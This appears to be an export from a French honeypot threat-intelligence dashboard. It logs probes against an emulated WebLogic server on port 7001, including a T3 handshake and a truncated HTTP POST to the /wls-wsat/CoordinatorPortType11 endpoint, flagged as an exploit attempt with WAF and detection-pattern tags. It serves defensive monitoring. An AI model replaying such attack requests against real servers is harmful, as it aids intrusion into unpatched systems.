paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�M������YU6�,~^tdn���9�h�W<�/ %�@Ll+ �xX �'D��iT�5{^�:��' >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�M������YU6�,~^tdn���9�h�W<�/ %�@Ll+ �xX �'D��iT�5{^�:��' >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�M������YU6�,~^tdn���9�h�W<�/ %�@Ll+ �xX �'D��iT�5{^�:��' >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.941631361911521,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "b9407a7d99e95d01acf350a0b2262fdf",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003M\ufffd\ufffd\u0004\ufffd\u000e\ufffd\ufffd\ufffdYU6\ufffd\u0017,~^tdn\ufffd\ufffd\ufffd9\ufffdh\ufffdW<\ufffd\/ \u0012%\ufffd@L\u0002l+\t\u001a \ufffdxX\u0000\ufffd'D\ufffd\ufffdiT\ufffd5{^\ufffd:\b\ufffd\ufffd'\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003M\ufffd\ufffd\u0004\ufffd\u000e\ufffd\ufffd\ufffdYU6\ufffd\u0017,~^tdn\ufffd\ufffd\ufffd9\ufffdh\ufffdW<\ufffd\/ \u0012%\ufffd@L\u0002l+\t\u001a \ufffdxX\u0000\ufffd'D\ufffd\ufffdiT\ufffd5{^\ufffd:\b\ufffd\ufffd'\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003M\ufffd\ufffd\u0004\ufffd\u000e\ufffd\ufffd\ufffdYU6\ufffd\u0017,~^tdn\ufffd\ufffd\ufffd9\ufffdh\ufffdW<\ufffd\/ \u0012%\ufffd@L\u0002l+\t\u001a \ufffdxX\u0000\ufffd'D\ufffd\ufffdiT\ufffd5{^\ufffd:\b\ufffd\ufffd'\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "745825143ee920cf5d37b3c9929dfd81acfdd22b",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003M\ufffd\ufffd\u0004\ufffd\u000e\ufffd\ufffd\ufffdYU6\ufffd\u0017,~^tdn\ufffd\ufffd\ufffd9\ufffdh\ufffdW<\ufffd\/ \u0012%\ufffd@L\u0002l+\t\u001a \ufffdxX\u0000\ufffd'D\ufffd\ufffdiT\ufffd5{^\ufffd:\b\ufffd\ufffd'\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffdM\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdYU6\ufffd,~^tdn\ufffd\ufffd\ufffd9\ufffdh\ufffdW<\ufffd\/ %\ufffd@Ll+\t \ufffdxX\ufffd'D\ufffd\ufffdiT\ufffd5{^\ufffd:\ufffd\ufffd'>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003M\ufffd\ufffd\u0004\ufffd\u000e\ufffd\ufffd\ufffdYU6\ufffd\u0017,~^tdn\ufffd\ufffd\ufffd9\ufffdh\ufffdW<\ufffd\/ \u0012%\ufffd@L\u0002l+\t\u001a \ufffdxX\u0000\ufffd'D\ufffd\ufffdiT\ufffd5{^\ufffd:\b\ufffd\ufffd'\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffdM\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdYU6\ufffd,~^tdn\ufffd\ufffd\ufffd9\ufffdh\ufffdW<\ufffd\/ %\ufffd@Ll+\t \ufffdxX\ufffd'D\ufffd\ufffdiT\ufffd5{^\ufffd:\ufffd\ufffd'>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:59 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
t3 12.2.1 AS:255 HL:19 MS:10000000
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 2 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
t3 12.2.1
AS:255
HL:19
MS:10000000
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 36,
"payload_entropy": 3.648511114409896,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "3209cb76d7a9ac3a6e65d8bcbb4694715e457ed2",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c774fdf36465e0ff86b6cbcdac011d2c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"evidence": {
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e3f6e61b0b8db97e25e9ab89dd9892388baf41d0",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"weblogic_emulated"
]
}
24/07/2026 09:38:55 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /wls-wsat/CoordinatorPortType11
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /wls-wsat/CoordinatorPortType11 UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
66
Recommandation
Investiguer
Tags
950079:sqli-19
950191:xss-7
950319:lfi-14
950326:rce-0
Cible HTTP
POST
/wls-wsat/CoordinatorPortType11
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/wls-wsat/CoordinatorPortType11
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 10 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
WebLogic wls-wsat
CRS 941130
LFI Double-dot bypass
Ligne de requête
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
xss-7
lfi-14
rce-0
rce-13
ssrf-3
nosqli-3
Payload (extrait)
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:6
Requête brute (extrait)
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml Content-Length:788 <soapenv:Envelope xmlns:soapenv="http://schemas.x
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "f38d13ad32b82f3534c93b4b8e82c5f0613d5e2a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 995,
"payload_entropy": 4.649674802707077,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "8839c2a4a672b1845b79bb4f1beadf9909fd4692",
"event_fingerprint": "48c7e8acc873a6e3f1de92c5443db4056b575758",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"WebLogic wls-wsat",
"CRS 941130",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "44b4c8b9d2950941484ec5c826acbb9b",
"path_pattern_hash": "f686e1bda13b970e63887bc9fc88c22a"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:6",
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType11",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950191:xss-7",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950379:rce-13",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"xss-7",
"lfi-14",
"rce-0",
"rce-13",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:788\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.x",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:6",
"evidence": {
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType11",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950191:xss-7",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950379:rce-13",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"xss-7",
"lfi-14",
"rce-0",
"rce-13",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:788\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.x",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:6",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "61f62335c3567ed294029a109cce0e711287f458",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType11",
"request_line": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
